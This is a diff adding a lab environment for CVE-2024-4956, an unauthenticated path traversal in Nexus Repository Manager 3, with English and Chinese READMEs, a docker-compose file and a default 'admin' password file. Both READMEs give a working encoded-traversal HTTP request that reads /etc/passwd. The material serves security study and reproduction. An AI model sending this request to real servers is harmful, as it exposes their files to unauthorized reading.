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nexus/CVE-2024-4956/README.md

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+# Nexus Repository Manager 3 Unauthenticated Path Traversal (CVE-2024-4956)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Nexus Repository Manager is a repository manager that organizes, stores and distributes artifacts needed for development.
+
+A path traversal vulnerability has been discovered in Nexus Repository 3 before version 3.68.1, the vulnerability allows for an attacker to craft a URL to return any file as a download, including system files outside of Nexus Repository application scope, without any authentication.
+
+References:
+
+- <https://support.sonatype.com/hc/en-us/articles/29416509323923-CVE-2024-4956-Nexus-Repository-3-Path-Traversal-2024-05-16>
+
+## Vulnerable environment
+
+Execute following command to start a Nexus Repository Manager version 3.68.0:
+
+```
+docker compose up -d
+```
+
+After the server is started, browse `http://your-ip:8081` to see the home page of Nexus.
+
+## Exploit
+
+Just like SpringMVC CVE-2018-1271 from Orange Tsai's [share](https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf), Jetty's `URIUtil.canonicalPath()` also treats the empty string as a directory which is the root cause of this vulnerability:
+
+![](1.png)
+
+Simply send following request to reproduce the issue:
+
+```
+GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
+Host: localhost:8081
+Accept-Encoding: gzip, deflate, br
+Accept: */*
+Accept-Language: en-US;q=0.9,en;q=0.8
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
+Connection: close
+Cache-Control: max-age=0
+
+
+```
+
+As you can see, `/etc/passwd` has been exposed directly:
+
+![](2.png)

nexus/CVE-2024-4956/README.zh-cn.md

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+# Nexus Repository Manager 3 未授权目录穿越漏洞（CVE-2024-4956）
+
+Nexus Repository Manager 3 是一款软件仓库，可以用来存储和分发Maven、NuGET等软件源仓库。
+
+其3.68.0及之前版本中，存在一处目录穿越漏洞。攻击者可以利用该漏洞读取服务器上任意文件。
+
+参考链接：
+
+- <https://support.sonatype.com/hc/en-us/articles/29416509323923-CVE-2024-4956-Nexus-Repository-3-Path-Traversal-2024-05-16>
+
+## 漏洞环境
+
+执行如下命令启动一个Nexus Repository Manager version 3.68.0 版本服务器：
+
+```
+docker compose up -d
+```
+
+环境启动后，访问`http://your-ip:8081`即可看到Nexus的默认页面。
+
+## 漏洞复现
+
+与Orange Tsai在[Blackhat US 2018](https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf)分享的SpringMVC CVE-2018-1271漏洞类似，Jetty的`URIUtil.canonicalPath()`函数也将空字符串认为是一个合法目录，导致了该漏洞的产生：
+
+![](1.png)
+
+发送如下请求来复现漏洞：
+
+```
+GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
+Host: localhost:8081
+Accept-Encoding: gzip, deflate, br
+Accept: */*
+Accept-Language: en-US;q=0.9,en;q=0.8
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
+Connection: close
+Cache-Control: max-age=0
+
+
+```
+
+可见，`/etc/passwd`已被成功读取：
+
+![](2.png)

nexus/CVE-2024-4956/admin.password

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+admin

nexus/CVE-2024-4956/docker-compose.yml

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+version: '3'
+services:
+ web:
+   image: vulhub/nexus:3.68.0
+   ports:
+    - "8081:8081"
+    - "5005:5005"
+   volumes: 
+    - ./admin.password:/nexus-data/admin.password